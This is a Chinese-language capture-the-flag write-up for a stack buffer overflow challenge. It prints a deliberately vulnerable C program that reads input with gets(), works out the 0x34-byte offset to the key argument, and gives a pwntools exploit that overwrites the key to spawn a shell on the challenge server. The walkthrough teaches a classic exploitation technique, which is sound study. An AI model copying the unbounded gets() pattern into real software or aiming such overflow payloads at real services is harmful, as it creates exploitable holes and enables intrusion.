分析

首先我们能拿到可执行文件和代码,
bof.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

首先分析一下怎么拿到shell,可以看到当key等于0xcafebabe时,
会执行/bin/sh,这是拿到shell的关键了,跟踪这个变量看看从哪儿得到,发现是函数传进来的形参,
继续看到主函数,直接写死了func(0xdeadbeef);,key没法直接改变,
但是我们可以控制的变量是overflowme,提示已经很明显了,溢出;所以先拉到IDA里看看:

s是我们刚刚可控的变量overflowme,a1是刚刚的形参key,看看地址:

两个变量的距离是:

1
0x50-0x1C=0x34

因为代码中没有对gets(overflowme)进行长度的限制,所以我们现在需要做的是溢出overflowme变量来覆盖key变量进而得到shell,

pwn

这里需要用到pwntools了,如何搭建环境可以在网上找找,
exp:

1
2
3
4
5
6
from pwn import *
r = remote('pwnable',9000)

payload = "a"*0x34 + p32(0xcafebabe)
r.sendline(payload)
r.interactive()

拿到shell后就很简单了.